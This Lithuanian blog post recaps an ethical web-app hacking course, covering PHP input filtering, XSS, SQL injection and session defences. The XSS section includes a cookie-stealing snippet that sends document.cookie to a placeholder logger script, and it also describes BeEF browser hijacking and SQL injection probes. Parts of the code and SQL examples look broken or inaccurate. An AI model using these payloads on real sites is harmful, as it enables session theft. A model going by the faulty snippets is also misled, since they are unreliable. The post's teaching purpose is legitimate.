A language is only as good as its developer is.

Hands on ethical web application hacking

Pasitaikė man galimybė sudalyvauti “hermitage” rengiamuose mokymuose “Hands on ethical web application hacking”. Mokymai truko dvi dienas. Abi dienas dėstė tas pats dėstytojas Tõnu Samuel.

Kursai pasirodė labai įdomūs, sužinojau nemažai naujų dalykų apie Web aplikacijų saugumą, kurias pabandysiu apžvelgti šiame įraše :)

Įrankiai

Pradžioje paminėsiu įrankius, kuriuos naudojome:

  • cURL – įrankis skirtas siųsti duomenis, naudojant web protokolus, per komandinę eilutę. Dabar žinau, kodėl panaudojus f-ją header(‘Localtion: url’) reikia pabaigoje panaudoti komandą exit. Tiems, kurie lygiai kaip ir aš nežinojo, pasakysiu, kad cURL neseka paskui redirect’us (nukeipimus), nebent kitaip nurodyta, todėl jis parodo visą toliau einantį kodą :)
  • Firefox priedas: “Tamper data” – įrankis skirtas keisti post’o, sesijos duomenis (na bent jau tiek išmokau).
  • Firefox priedas: XSS Me. Cross-site scripting atakų generavimas. Praktikoje šio įrankio išbandyti neteko, bet tikiuose artimiausioje ateityje pavyks :)
  • Firefox priedas: SQL Inject Me. SQL injekcijų generavimui skirtas įrankis. Apie SQL injekcijas kalbėjome, taip pat ir praktiškai žinias pritaikėme, tačiau šio įrankio mums neprireikė.

Tuo pačiu paminėsiu kitus įrankius, kurių nenaudojome, bet kiekvienam web programuotojui jie yra būtini.

  • Firefox priedas: Firebug. HTML, CSS redagavimas realiuoju momentu, JS debug’inimas.
  • Firefox priedas: Web developer. Nemažiai naudingų įrankių vienoje vietoje. Pats dažniausiai naudoju puslapio validavimo įrankius (HTML ir CSS) bei realiuoju momentu (po JS veiksmų) sugeneruotą puslapio kodą.

Robots.txt

Robots.txt faile yra aprašomos direktorios į kurių robotai neturėtų indeksuoti (nuorodų į jas taip pat). Todėl, dažniausiai programuotojai į robots.txt failą įrašo administravimo panelės direktorijos pavadinimą. Nuo to programišiai savo atakas dažniausiai ir pradeda. Tačiau, ši spraga, jei ją taip galima pavadinti, yra jau senai žinoma, todėl aš apie ją daugiau ir nerašysiu. Geriausia apsauga nuo tokios spragos, tai padaryti spąstų direktoriją, t.y. sukurti nuo puslapio nepriklausomą sistemą, kuri atrodytų kaip prisijungimas prie admin direktorijos ir įrašyti tą direktoriją į robots.txt. Taip programišius, kurį laiką turės ką veikti, o jūs galėsite rinkti informaciją apie tai kokiomos saugumi spragomis jis bando pasinaudoti.

Failo įvedimas

Kita dažnai pasitaikanti problema yra failo įterptinėjimas per <input type=”file” /> lauką. Dėstytojas sakė, kad dauguma programuotojų failo dydį bando limituoti paslėptu lauku: <input type=”hidden” name=”MAX_FILE_SIZE” VALUE=”failo_dydis_KB” />. Jis gerai tuom, kad iš naršyklės iš karto neleidžia įkelti failo. Tačiau vargu ar tai yra apsisaugojimo priemonė, nes su tuo pačiu “tamper data” įrankiu gali pakeisti lauko reikšmę ir įkelinėti filmus :) Neseniai Lietuvos php konferencijoje buvo panaši diskusija. Daugiau pasiskaityti gali čia

Input

Visuose saugumo prezentacijose, knygose yra akcentuojama, kad reikia filtruoti visą iš vartotojo gaunamą informaciją. Tiems kas viską žino, šį paragrafą gali praleisti, o kiti skaitykite toliau :)

Kalbėdamas apie visą vartotojo įvedama srautą, turėjau omeny: $_GET, $_POST, $_SERVER, $_COOKIES kintamuosius. Siūlau visada šiose kintamuosiuose tikėtis kritinės informacijos, kurį gali sugadintin jūsų sistemą. Ko galima tikėtis ir apie prevenciją parašysiu truputį vėliau ;) . Kai kas gal pasigedo $_REQUEST kintamojo, bet jo primygtinai siūlau nendaudoti. Kodėl? Todėl, kad $_REQUEST['username'] nepasako iš kur šis kintamasis buvo gautas. Jis gali būti perduotas tiek per $_POST tiek per $_GET.

Tiek, kurie bent šiek tiek domisi PHP saugumu, tikriausiai ne kartą esatę perskaitę, jog PHP nustatymą register_globals patartina visad išjungti. Ką jis daro? Panalizuokime kodo fragmentą:

<?php

if ($isRegistred) {
// registruoto vartotojo parametrai
}

?>

Jei register_globals parametras bus įjungtas, tai aukščiau parašytas kodo fragmentas gali būti apeitas URL’e įrašius: http://url/kelias?isRegistred=true. Tikiuosi grėsmė aiški, kam dar trūksta info, tai:

  • pixel.lt – lietuviškas straipsnis apie PHP saugumą, kuriame yra aprašomas ir register_globals problema.
  • php.net – kas geriau žino savo klaidas, jei ne PHP kūrėjai :)

Šios yra pagrindinės problemos ateinančios per formas ir url adresus (SQL mėgėjau luktelkit). Įrašas netektų prasmės, jei nepaminėčiau kaip nuo viso to apsisaugoti. Išskirsiu kelis būdus.

Gaunamos reikšmės tipo nustatymas (cast’inimas). Tarkime, jei tikitės, kad url ar formos parametras turėtų būti sveikasis skaičius, tada prie kintamojo pravartu nurodyti jo tipą. Pvz. $id = (int)$_GET['int'];

White ir black list’ai. Galimų reikšmių apibrėžimas. Black list – neleidžiamų reikšmių masyvo sudarymas ir tikrinimas ar gauta reikšmė nepatenka į šį sąrašą. Šio būdo siūlau nenaudoti, nes vargu ar apibrėšite visus galimus pavojus. White list – galimų reikšmių apibrėžimas. Jei yra žinomos reikšmės, kurios gali būti gautos iš vartotojo, pvz. formose select lauko tipas, tad jas galima ir iš anksto apsibrėžti. Po to bereikės tik patikrinti ar gauta reikšmė yra masyve ar ne.

Aš, asmeniškai, naudoju cast ir white list apsaugas apjungtas kartu :) Jei manote, kad mano variantas yra blogas – komentarai tam ir skirti, kad kritikuotumėte ;)

XSS (Cross-site scripting)

Kad įrašas nebūtų per daug ilgas, kas yra XSS nerašysiu. Apie tai galite pasiskaityti wikipedia.org puslapyje :)

Panaudojimas: Cookies vagytė, puslapio turinio keitimas (deface) ir kompiuterio pavertimas zombiu (bent jau kol reikiamas psl. atidarytas :) ). Cookie’o vagystė yra pakankamai nesunkiai realizuojama. Elementarus kodo įterpimas komentare:

<script type=”text/javascript”>
<img src=”http://url/img.php?cookie=encodeURI(document.cookie) />
</script>

Dar galima pridėti ir domain loginimą. O img.php faile bereikia viską loginti. Jei img.php dar grąžins kokį nors img, tai ilgą laiką būsite nepastebėti :)

Puslapio turinio keitimas vyksta pasinaudojant JavaScript (JS) funkcijomis, pvz. document.getElementById(id). Galima pasirašyti, kuris vartotojo prašys įvesti kokią nors “jautrią” informaciją (prisijungimo vardą, slaptažodį) ir ją perduoti į savo skriptą (kuris viską log’intų).

Trečias ir pakankamai intriguojantis būdas – kompiuterio pavertimas zombiu. Yra įrankis “Beef”. Į savo puslapį įterpus “Beef” skritpą, jis bando nulaužti vartotojus, esančius jūsų puslapyje. O jūs, tuo tarpu, prisijungiate prie “Beef” adminitravimo panelės ir laukiate pirmųjų zombių :)

Apsisaugojimas – įvedamų duomenų filtravimas: htmlspecialchars(), strip_tags(), htmlentities() funkcijomis.

SQL injekcija

Kaip ir paragrafe apie XSS, per daug didelių intro nedarysiu, tiesiog pereisiu prie laužymo ir saugumo :) Papraščiausias būdas aptikti. Tarkima turi tokį url: http://url/index.php?id=70. Jei vedus http://url/index.php?id=71-1 atvaizduojamas tas pats turinys, o įvedus http://url/index.php?id=70-1 jau kitas, tai reiškia, kad turim SQL injekciją :) Panaudojimo galimybės yra pakankamai nemažos – nuo vartotojų prisijungimo vardų ir slaptažodžių gavimo iki informacijos sunaikinimo.

Aptikūs SQL injekcija ne visda pavyksta nustatyti koks tai SQL (mySQL, msSQL, ORACLE). Tai galima padaryti pasinaudojant “Akla injekcija”. Visos šios SQL palaiko CONCAT f-ją, tačiau kiekvienos funkcijos aprašymas yra kitoks. Tai ir padės mums nustatyti SQL. Pvz.:

  • MS SQL: %2F
  • mySQL: CONCAT(‘a’, ‘a’)
  • ORACLE: ||

Jei nors vienas iš šių variantų negražino klaidos – tai ir yra web aplikacijoje naudojamas SQL :)

Apsisaugojimas. Geriausias apsisaugojimas – paruošti sakiniai (prepared statements). Tiems, kurie negali naudoti – mysql_real_escape_string.

Sesijos

Serverio pusėje saugoma informacija. Su vartotoju susieta per sesijos id (saugomą sausainėlyje (cookie)). Sesijose dažniausiai saugoma “jautrausia” vartotojo informacija. Pasinaudojus XSS ataka ir pavogūs sesijos id, galima pavogti vartotojo duomenis, apsimesti kitu vartotoju. Taip pat galima bandyti generuoti sesijos id ir tikėtis jį atspėti – kas yra sunkiai tikėtina :)

Apsisaugojimas. Dažnas sesijos id pergeneravimas, naudoti cookie galiojimo datas (kuo trumpiau bus saugojamas serveryje, tuo mažensė tikimybė, kad bus atspėtas sesjos id). Aš naudoju dažną sesijos id pergeneravimą, sesijos id ir vartotojo id saugojimą duomenų bazėje.

Epilogas

Įrašas gavosi ilgas, tačiau tikrai parašiau ne viską ką norėjau (trūko įžangų, kodo pavyzdžių), tačiau nenorėjau per daug išsiplėsti, nes tada vargu ar kas nuo pradžios iki galo perskaitys :) Jei pastebėjote, tai su kiekvienu tolimesniu paragrafu, jo (paragrafo) ilgis mažėjo. Taip atsitiko dėl, kad straipsnį norėjau pabaigti rašyti vienu prisėdimu, nes straipsnis buvo pradėtas rašyti prieš du mėnesius ir pabaigtas tik šiandien :)

P.S. labai laukiu pastabų komentarų. Gal ką praleidau ar kas pasirodė neišbaigta. Jei komentaruose užvirs diskusija, tai parašysiu dar vieną straipsnį ir pratęsiu temą apie saugumą :) Taip pat prisegu skaidres, kurias naudojau, kai kalbėjau per įmonės vidinius mokymus web app security.

Be Sociable, Share!
  • http://medwezys.blogas.lt medwezys

    Nu žinai, gerą tu čia įrašą drėbtelėjai metų gale.
    Pavydžiu tau dėl konferencijos, pats seilę varvinau ir ne vieną kart skaičiau skelbimą, bet pasirdodė per brangūs. Kadangi rašau kursinį saugumo tema, tai tikrai įdomi pasirodė pateikta informacija, kai ką jau žinojau, kai ko ne (sužinosiu dar).
    Visas įrašas panašus tik į headline’us, nuo ko reikėtų pradėt domėtis susidomėjusiam žmogui. Gal ir gerai.
    Būtų išvis tobula, jei apie kiekvieną potencialią saugumo spragą parašytum po išsamesnį įrašą :)
    Lauksiu kitų.
    Linksmų ir saugių tau švenčių ;)

  • http://aur1mas.sektorius.info admin

    Dėkui, tau irgi gerų švenčių :)

    Pats įrašas, tai ne visiškai atpasakota konferencija. Nes konferencijoje nekalbėjo apie kai kurias saugumo tematikas :) Artimiausioje ateityje planuoji parašyti dar keletą straipsnių web saugumo ir kodo optimizavimo tematika. Tad tikiuosi dar perskaitysi kažką naudingo ir aktualaus.

    P.S. jei reikia kursiniui medžiagos apie saugumą, tai gali parašyti. Turiu keleta knygų, kurias galėčiau parekomenduoti, paskolinti :)

  • http://wapdream.com/blog dreamerr

    Gera apžvalga. :) Šiaip tikrai būtų smagu sulaukti straipsnių ciklo, kuriame būtų išsamiau išnagrinėti atskiri atvejai.

  • http://dune.huh.lt kentsss3

    sveiki.gal kas galite padeti?man pajunge pirkta wap skripta dune3000 kai einu i administravima ir noriu kam nors ka nors duoti,reikia ivest koda…o as jo nzn….gal galit kuom nors padeti???

  • http://aur1mas.sektorius.info aur1mas

    kentsss3 nepateikei jokios info apie savo problemą. Kur tas skriptas paleistas? kur tu darai adminstravimą? kas per kodas?